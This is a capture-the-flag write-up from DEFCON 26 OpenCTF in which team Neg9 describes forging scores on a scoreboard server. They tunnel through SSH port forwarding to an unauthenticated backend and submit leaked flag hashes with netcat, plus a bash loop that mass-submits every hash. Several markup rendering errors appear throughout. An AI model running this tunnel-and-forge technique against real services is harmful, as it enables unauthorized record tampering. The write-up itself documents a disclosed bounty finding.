Scoreboard Bug Bounty - 1337

  • DEFCON 26 @Open_CTF

  • 2018-08-11

  • Solved by Neg9 [craSH, tecknicaltom, reidb]



Scoreboard Server:

The Scoreboard server is running an SSH server, which is the primary method teams use to interact with it. Each team has a shell account, and the users' shell is set to be from the above source archive.

There were several issues with the scoreboard system configuration, code, and how the organizers released the code, which when combined, resulted in the ability of a team to score all possible challenges for themselves without leaving any trace of doing so, and by not using the intended method of scoring.

  • Issue 1: sshd is configured to allow port forwarding/dynamic proxying.

  • Issue 2: accepts connections without authentication, and it does not log connections made to it to syslog like does.

  • Issue 3: The included SQLite database (central.db) included all (SHA512) hashes of the flags. This hash value is what the backend takes in addition to team name and challenge ID to register a scoring event.

As such, you can directly connect to the backend and submit a known hash for a question to a team.

One could connect to the scoreboard as such to open a socket on the players local machine on port 41337 which is a tunnel to the backend service running on the scoreboard:

“System Message: ERROR/3 (:, line 26)” Error in “code” directive: maximum 1 argument(s) allowed, 3 supplied.


.. code:: ssh -L41337:localhost:41337 [email protected]

And in another terminal, one could then connect to the service as follows:

“System Message: ERROR/3 (:, line 30)” Error in “code” directive: maximum 1 argument(s) allowed, 3 supplied.


.. code:: nc localhost 41337

This would yield the service authentication string (lol) and wait to be written to:

“System Message: ERROR/3 (:, line 34)” Error in “code” directive: maximum 1 argument(s) allowed, 2 supplied.


.. code:: lol goatse

At this point, the service expects a scoring event message in the following format:

“System Message: ERROR/3 (:, line 38)” Content block expected for the “code” directive; none found.


.. code:: <Team_Name>,<Question_ID>,<Flag_SHA512_Hex>

For example - here is the string to submit to score question ID 15 (this scoreboard bug bounty challenge) for team neg9:

“System Message: ERROR/3 (:, line 42)” Content block expected for the “code” directive; none found.


.. code:: neg9,15,40a2475624d82487a9ded98fc661fd9dde15e02973a5280a8b4b76fc81e41a123190604848fa1d23b181a17b3303e184588211b81bef71e58ef8e26b7f300eb6

As we have all hashes in the database provided, we can script up scoring for all questions. Here is the database schema:


CREATE TABLE questions(challenge_name text, tags text, point_value integer, answer_hash text, question text, solved integer, open integer, qualification);
CREATE TABLE team_score(team_name text, challenge_name text, point_value integer, answer_hash text, time_solved text, first integer, PRIMARY KEY(team_name, challenge_name, point_value, answer_hash) ON CONFLICT IGNORE);

And for demonstration, here is the row for this challenge:


sqlite> select * from questions where challenge_name like '%bug%';
Scoreboard Bug Bounty|Kajer scoreboard|1337|40a2475624d82487a9ded98fc661fd9dde15e02973a5280a8b4b76fc81e41a123190604848fa1d23b181a17b3303e184588211b81bef71e58ef8e26b7f300eb6|Find an 0-day in our scoreboard. Source is here:

We expeditiously grabbed all of the hashes from the dump and put them in a file to work with.

The following nested for loop would submit all hashes for neg9 (we extracted just the hash values and placed them in hashes.txt):

“System Message: ERROR/3 (:, line 63)” Error in “code” directive: maximum 1 argument(s) allowed, 20 supplied.


.. code:: for hash in $(cat hashes.txt); do for id in {1..100}; do echo "neg9,${id},${hash}" | nc localhost 41337; done ; done

We made a POC of this with the question ID 15, for the scoreboard bug bounty, and we were successfully awarded 1337 points. The organizers quickly disabled SSH port forwarding/tunneling at this point, and we were not able to score for the other flags in this manner. Good work :)